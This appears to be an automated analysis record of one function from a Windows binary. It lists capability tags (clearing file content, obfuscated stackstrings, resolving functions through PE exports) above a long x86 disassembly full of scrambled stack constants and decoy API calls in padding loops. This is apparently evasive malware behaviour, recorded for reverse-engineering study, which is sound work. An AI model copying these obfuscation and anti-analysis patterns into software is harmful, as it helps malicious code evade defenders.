Function at 0x401647
Capabilities:
Clear file content
Contain obfuscated stackstrings
Get common file path
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x8d0
push esi
push edi
mov dword [esp + 0xac], 0x13ef6ed5
mov dword [esp + 0x90], 0x71a2fac9
mov dword [esp + 0xd0], 0x79907612
mov dword [esp + 0x20], 0x7f5066b3
mov dword [esp + 0xa0], 0x132643e5
mov dword [esp + 0xc8], 0x5a50766
mov dword [esp + 0x18], 0x583adb23
mov dword [esp + 0x6c], 0x3a934f3d
mov dword [esp + 0xc0], 0x6b2220d3
mov dword [esp + 0x10], 0x68754849
mov dword [esp + 0x88], 0x4fd19554
mov dword [esp + 0xbc], 0x730b73ac
mov dword [esp + 0x74], 0x3615687d
mov dword [esp + 0x60], 0x49ad2637
mov dword [esp + 0x98], 0x4b0dc026
mov dword [esp + 0x48], 0x3d2b75a2
mov dword [esp + 0x64], 0x24aec846
mov dword [esp + 0x40], 0x5f6fec04
mov dword [esp + 0x24], 0x73c39a22
mov dword [esp + 0x80], 0x7cc4bea6
mov dword [esp + 0x8c], 0x45d722a6
mov dword [esp + 0x9c], 0x4dfa51fa
mov dword [esp + 0x78], 0x695d06b0
mov dword [esp + 0xc], 0x27883231
mov dword [esp + 0x5c], 0x7d7c803b
mov dword [esp + 0x38], 0x5f34b100
mov dword [esp + 0xd4], 0x20db8087
mov dword [esp + 0x54], 0x5013ba0e
mov dword [esp + 0x70], 0x629cc0a9
mov dword [esp + 0x94], 0x733ac3de
mov dword [esp + 0x3c], 0x821dd52
mov dword [esp + 0x84], 0x7b2c3870
mov dword [esp + 0x30], 0x2ed0fd2c
mov dword [esp + 0x2c], 0x44100e77
mov dword [esp + 0xa4], 0x22867f16
mov dword [esp + 0x28], 0x7f14a89b
mov dword [esp + 0xb8], 0x10bf545
mov dword [esp + 0x58], 0x43160eee
mov dword [esp + 0xb0], 0x7f983c5
mov dword [esp + 0xcc], 0x286dc477
mov dword [esp + 0xc4], 0x25cfd4d3
mov dword [esp + 0x7c], 0x1f841ee6
mov dword [esp + 0x14], 0x2544b029
mov dword [esp + 8], 0x10b0cec5
mov dword [esp + 0xa8], 0x4e20a56b
mov dword [esp + 0x4c], 0x18649ae
mov dword [esp + 0x34], 0x6241345d
mov dword [esp + 0xb4], 0x7a867223
mov dword [esp + 0x44], 0x3735f767
mov dword [esp + 0x68], 0x46051c1f
mov dword [esp + 0x1c], 0x19925608
mov dword [esp + 0x50], 0x3ddd0bcc
sub dword [esp + 0x90], 0x150cfe51
add dword [esp + 0x90], 0x1f5155dd
add dword [esp + 0xac], 0xa289d01
add dword [esp + 0xac], 0x17e8ff5c
mov eax, 0x3bf93a3d
mul dword [esp + 0xac]
mov eax, dword [esp + 0xac]
sub dword [esp + 0xd0], 0x355b3ba7
mov eax, 0xd4173cb
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
mov eax, 0x769eb95f
mul dword [esp + 0xd0]
mov eax, dword [esp + 0xd0]
sub dword [esp + 0xd0], 0x68c405f2
sub dword [esp + 0x90], 0x5aa79b83
add dword [esp + 0xac], 0x17adac95
add dword [esp + 0xd0], 0x26e9caca
mov eax, 0x7e01398e
mul dword [esp + 0xac]
mov eax, dword [esp + 0xac]
add dword [esp + 0xac], 0x444713a2
sub dword [esp + 0xac], 0x5e124473
mov eax, 0x6b8e8c7f
mul dword [esp + 0xd0]
mov eax, dword [esp + 0xd0]
add dword [esp + 0xac], 0x2647be08
sub dword [esp + 0xd0], 0x2d7690c8
mov eax, 0x45613dce
mul dword [esp + 0xa0]
mov eax, dword [esp + 0xa0]
sub dword [esp + 0xac], 0x600b9024
add dword [esp + 0x90], 0x13c6ba45
sub dword [esp + 0x20], 0x2c16360c
mov eax, 0x59a262b1
mul dword [esp + 0xac]
mov eax, dword [esp + 0xac]
mov eax, 0x1b5437de
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
add dword [esp + 0xac], 0x2a7f0186
mov eax, 0x6ac1f6e3
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
add dword [esp + 0xa0], 0x6eda6572
mov eax, 0x60ed3abe
mul dword [esp + 0xc8]
mov eax, dword [esp + 0xc8]
sub dword [esp + 0x88], 0x777126c2
mov eax, 0x95e379c
mul dword [esp + 0x88]
mov eax, dword [esp + 0x88]
mov eax, 0x6cdb68b0
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
sub dword [esp + 0x60], 0xf5bb2f0
mov eax, 0x6c2bd572
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
sub dword [esp + 0x20], 0x1ee11f5d
sub dword [esp + 0x74], 0x19f64d12
sub dword [esp + 0x6c], 0x39b38079
mov eax, 0x501a6067
mul dword [esp + 0xd0]
mov eax, dword [esp + 0xd0]
mov eax, 0x4c0115b
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
sub dword [esp + 0x6c], 0x7d9263d
mov eax, 0x6068ee99
mul dword [esp + 0x88]
mov eax, dword [esp + 0x88]
sub dword [esp + 0x18], 0x4c4d8f16
sub dword [esp + 0xc0], 0x6f8fb806
sub dword [esp + 0x64], 0x422c53f4
mov eax, 0x23683cc8
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
add dword [esp + 0xc0], 0x7eaeb985
sub dword [esp + 0x6c], 0x63abf85
mov eax, 0x2948acac
mul dword [esp + 0xc8]
mov eax, dword [esp + 0xc8]
mov eax, 0x10875db1
mul dword [esp + 0xd0]
mov eax, dword [esp + 0xd0]
mov eax, 0x57f20c97
mul dword [esp + 0x9c]
mov eax, dword [esp + 0x9c]
sub dword [esp + 0x40], 0x59c5d10
mov eax, 0xa03c4ec
mul dword [esp + 0x98]
mov eax, dword [esp + 0x98]
add dword [esp + 0xc8], 0x1ffff506
mov eax, 0x220e1d91
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
add dword [esp + 0x40], 0x27eaddd9
add dword [esp + 0x98], 0x765a3c53
sub dword [esp + 0x98], 0x630cc782
add dword [esp + 0xa0], 0x4b352f06
mov eax, 0x3d1826ea
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
sub dword [esp + 0x8c], 0x630daeff
sub dword [esp + 0x18], 0x28765f1f
add dword [esp + 0x88], 0x2272a1b8
add dword [esp + 0xd0], 0x4c781a3
add dword [esp + 0x10], 0xa2699a5
sub dword [esp + 0xc], 0x78dfb90a
sub dword [esp + 0xa0], 0x7dd4db3a
sub dword [esp + 0x20], 0x24318703
add dword [esp + 0x40], 0x396e1545
add dword [esp + 0x10], 0x48a0dbb6
sub dword [esp + 0x64], 0x4541e3f5
sub dword [esp + 0xd4], 0x28f2ac87
mov eax, 0x69bf9aff
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
add dword [esp + 0x48], 0x45bdfe46
sub dword [esp + 0x9c], 0x2a4125e0
sub dword [esp + 0x40], 0x32b41840
sub dword [esp + 0x78], 0x70440025
mov eax, 0x3326af61
mul dword [esp + 0x78]
mov eax, dword [esp + 0x78]
add dword [esp + 0x40], 0x623b17d6
mov eax, 0x4d993f66
mul dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
mov eax, 0x5f8d8fe2
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
mov eax, 0x712745ab
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
add dword [esp + 0x20], 0x5ad17769
mov eax, 0x7dbc58fb
mul dword [esp + 0x70]
mov eax, dword [esp + 0x70]
add dword [esp + 0x74], 0x2c063e97
add dword [esp + 0x64], 0x762f81bd
mov eax, 0x2d25c661
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
add dword [esp + 0x5c], 0xce779fa
add dword [esp + 0x4c], 0x113514df
add dword [esp + 0x28], 0x7ed79a29
mov eax, 0x13dbdb32
mul dword [esp + 0x9c]
mov eax, dword [esp + 0x9c]
mov eax, 0x7ed1d04f
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
add dword [esp + 0x48], 0x134dd428
mov eax, 0x1d02cf89
mul dword [esp + 0x74]
mov eax, dword [esp + 0x74]
mov eax, 0x706f8c69
mul dword [esp + 0xc4]
mov eax, dword [esp + 0xc4]
sub dword [esp + 0x34], 0x4c35af3a
add dword [esp + 0x4c], 0x5f681bb8
sub dword [esp + 0x64], 0x59beb472
sub dword [esp + 0x2c], 0x4ff4700b
add dword [esp + 0x28], 0x6f599043
xor esi, esi
xor edi, edi
cmp edi, 0x911
jge 0x401cf5
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
push esi
call dword [sym.imp.USER32.dll_GetSysColor]
cmp edi, 0x166fd24
jg 0x401d06
inc edi
cmp edi, 0x379d301
jl 0x401cdf
cmp dword [0x245923c], 0x400
jne 0x401da4
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push esi
push esi
push esi
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_DrawStateA]
push esi
call fcn.00402065
pop ecx
push esi
push esi
call fcn.0040258a
push 0x43e1e4
push str.0.txt
push esi
call fcn.004023ee
add esp, 0x14
push esi
push esi
push esi
call fcn.004026c1
fldz
push ecx
fst qword [esp + 8]
fstp qword [esp]
call fcn.00401e20
fstp st(0)
add esp, 8
fldz
fstp qword [esp]
call fcn.00402470
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00401e40
fstp st(0)
push esi
push esi
call fcn.00401f69
add esp, 0x10
xor edi, edi
cmp edi, 0x16d22
jge 0x401dc1
push esi
push esi
call dword [sym.imp.USER32.dll_SetCaretPos]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthI]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x12e8a06
jg 0x401ddf
inc edi
cmp edi, 0x30375
jl 0x401da6
mov eax, dword [0x443c44]
mov dword [0x245923c], eax
call fcn.00401395
mov edi, 0x2ec37
cmp dword [0x245923c], 0x51f
jne 0x401e0e
lea eax, [esp + 0xd8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
dec edi
jne 0x401df3
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10